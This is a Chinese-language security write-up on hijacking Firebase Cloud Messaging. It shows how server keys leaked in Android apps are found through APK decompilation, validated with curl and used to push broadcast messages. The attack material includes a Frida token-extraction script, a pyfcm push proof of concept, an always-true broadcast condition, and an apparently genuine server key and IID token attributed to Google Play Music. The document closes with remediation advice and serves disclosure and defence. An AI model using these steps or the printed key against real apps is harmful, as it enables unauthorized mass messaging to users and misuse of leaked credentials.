挖洞经验 | 劫持Firebase云消息传递服务实现恶意广播式用户消息推送
字数 1287 2025-08-15 21:31:56
Firebase云消息传递(FCM)服务劫持漏洞分析与利用
1. 漏洞概述
Firebase云消息传递(Firebase Cloud Messaging, FCM)是Google提供的一项跨平台消息推送服务。本漏洞涉及FCM服务密钥凭据在客户端应用程序中的泄露,攻击者可利用泄露的密钥劫持FCM服务,实现:
- 控制推送消息内容(可包含恶意图片、政治倾向或造谣内容)
- 获取FCM服务密钥凭据
- 向应用所有注册用户发送广播式推送消息
2. FCM基础知识
2.1 FCM架构
FCM服务包含三个主要组件:
- FCM后端服务器:负责消息授权和分发
- 客户端FCM SDK:生成设备唯一标识token
- 应用服务器:通过API密钥与FCM通信
2.2 密钥类型
-
服务器密钥:
- 旧版格式:
AIzaSy[0-9A-Za-z_-]{33} - 新版格式:
AAAA[A-Za-z0-9_-]{7}:[A-Za-z0-9_-]{140}
- 旧版格式:
-
GCP API密钥:格式同旧版服务器密钥
3. 漏洞发现过程
3.1 APK逆向分析
- 使用apktool批量反编译APK文件:
#!/bin/bash
for file in *.apk
do
java -jar ~/APK_Research/apktool.jar d $file -o decompiled_apks/$file/
done
- 关键文件搜索:
strings.xml.smali类文件AndroidManifest.xml
3.2 密钥识别
重点关注以下关键字:
google_maps_geocoder_keynotification_server_keygoogle_notification_keyapp_api_keygooglePlacesWebApiserver_key
3.3 密钥验证
使用curl验证密钥有效性:
api_key=YOUR_SERVER_KEY
curl --header "Authorization: key=$api_key" \
--header Content-Type:"application/json" \
https://fcm.googleapis.com/fcm/send \
-d "{\"registration_ids\":[\"ABC\"]}"
响应码200表示密钥有效。
4. 漏洞利用技术
4.1 广播消息推送
利用逻辑非表达式构造永真条件,实现广播推送:
Condition: "!('xyz4356545' in topics)"
解释:随机主题'xyz4356545'不存在于任何用户的订阅中,因此条件永远为真。
4.2 获取IID Token
- 静态分析:查找
getToken()或getFcmIidToken()方法 - 动态分析:使用Frida hook相关方法
示例Frida脚本:
Java.perform(function () {
console.log("Tracing getFcmIidToken under class com.google.android.music.sync.google.gcm.FcmRegistrationHandler");
Java.choose("com.google.android.music.sync.google.gcm.FcmRegistrationHandler", {
onMatch: function (inst) {
console.log("Instance Found "+inst.toString());
var ret_val = inst.getFcmIidToken();
console.log("FCM IID token is "+ret_val)
},
onComplete: function() {
console.log("Done");
}
});
});
4.3 消息推送POC
使用Python pyfcm库实现:
from pyfcm import FCMNotification
import argparse
# 参数处理
ap = argparse.ArgumentParser()
ap.add_argument("-sk", "--serverkey", required=True, help="FCM Server Key found")
ap.add_argument("-iid", "--iid", required=True, help="IID Token source from the Client App")
args = vars(ap.parse_args())
server_key = args["serverkey"]
iid = args["iid"]
# 授权
push_service = FCMNotification(api_key=server_key)
# 消息内容
registration_id = iid
message_title = "FCM Hack!"
message_body = "By Abhishek Dharani and Yash Sodha"
# 发送消息
result = push_service.notify_single_device(
registration_id=registration_id,
message_title=message_title,
message_body=message_body,
dry_run=False
)
print(result)
5. 实际案例分析
5.1 Google Play Music
- 发现服务器密钥:
AAAAODDc_Do:APA91bG5kQSzauxg1GSrq3eot5GUPyfouZ5KZObtBUpdM0xoxWGCulSPK1FIKan3IIBK-YlrkOcXkIo0kv7NlUFSOV54Qdy21z9czkFBoe6dMxBEEKAAD8KlC3LYuDugRdrMXJr1ggsL
- 获取元数据:
curl -X GET --header "Authorization: key=AAAAODDc_Do:APA91bG5kQSzauxg1GSrq3eot5GUPyfouZ5KZObtBUpdM0xoxWGCulSPK1FIKan3IIBK-YlrkOcXkIo0kv7NlUFSOV54Qdy21z9czkFBoe6dMxBEEKAAD8KlC3LYuDugRdrMXJr1ggsL" --header "Content-Type:application/json" https://iid.googleapis.com/iid/info/fgis_9yyD_c:APA91bEilQI1ncoYlYpF-AIUQvQdymi7iSaXDX2Tuv3rhpo3PDoawCHhzmdFjahXsltRuYxPb7vL2YReVOR4fCMcir76rFsKLfer4abpq8_KdRzGHf1exz0GJU4APTOadqvU5x9vv1os?details=true
5.2 其他受影响应用
- Google Hangouts
- YouTube Go
- YouTube Music
6. 漏洞修复建议
-
密钥保护:
- 永远不要将FCM服务器密钥存储在客户端应用中
- 定期轮换密钥
- 使用Firebase Admin SDK而非原始API密钥
-
权限控制:
- 限制密钥的权限范围
- 使用IP白名单限制API调用
-
代码审查:
- 检查应用是否包含敏感密钥
- 自动化扫描APK中的密钥泄露
-
监控:
- 监控异常的推送消息活动
- 设置推送消息速率限制
7. 总结
FCM密钥泄露漏洞危害严重,可导致:
- 大规模恶意消息推送
- 用户隐私泄露
- 品牌声誉损害
开发人员应严格遵循安全最佳实践,避免在客户端存储敏感凭据。安全研究人员可通过逆向工程和自动化扫描技术发现此类漏洞。